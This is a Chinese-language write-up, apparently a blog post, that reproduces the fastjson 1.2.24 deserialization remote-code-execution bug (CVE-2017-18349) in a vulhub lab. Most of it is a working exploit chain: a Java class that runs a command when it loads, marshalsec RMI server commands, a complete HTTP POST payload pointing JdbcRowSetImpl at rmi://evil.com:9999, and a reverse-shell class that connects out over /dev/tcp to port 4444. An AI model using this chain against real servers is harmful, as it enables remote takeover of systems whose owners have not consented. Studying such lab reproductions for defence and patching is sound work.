fastjson1.2.24反序列化漏洞复现

漏洞概述

CVE-2017-18349
fastjson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
根据官方给出的补丁文件,主要的更新在这个 checkAutoType 函数上,而这个函数的主要功能就是添加了黑名单,将一些常用的反序列化利用库都添加到黑名单中。

复现环境

vulhub项目 https://vulhub.org/#/environments/fastjson/1.2.24-rce/

Exploit

访问

向服务器post一个json对象,即可更新服务端信息

因为目标环境是 Java 8u102,没有 com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用 com.sun.rowset.JdbcRowSetImpl的利用链,借助 JNDI 注入来执行命令。
首先编译并上传命令执行代码,如 http://x.x.x.x:8989/TouchFile.class:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash","-c","touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

需要注意的是:
String commands 在部分环境下需要添加 bash -c ,否则无法执行命令。
如果没有 web 服务,其实可以通过 php -S 0.0.0.0: port或者 python -m SimpleHTTPServer port临时搭建一个 web 服务器,其发布目录即当前执行目录。

有外网VPS

借助marshalsec项目启动一个 RMI 服务器,监听 9999 端口,并制定加载远程类 TouchFile.class
也可以使用打包好的jar包项目地址

将生成的 marshalsec-0.0.3-SNAPSHOT-all.jar包部署到公网的一台 VPS 上,执行如下脚本

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x:port/#TouchFile" 9999

发送如下数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/TouchFile",
"autoCommit":true
}
}

无外网VPS

命令执行

使用kali当vps主机

先构造恶意代码,并编译

再使用python起一个http服务

1
python -m http.server 80  

接着启动一个RMI服务器,设置监听端口,并制定加载远程类TouchFile.class,ip为http服务的ip

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://172.16.17.140:80/#TouchFile" 9999

构造数据包,写入exp

命令执行成功

反弹shell

反弹shell,只需要修改TouchFile.java文件中的command 部分即可,并重新编译,参考如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// javac shell_re.java
import java.lang.Runtime;
import java.lang.Process;
public class shell_re {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

nc 监听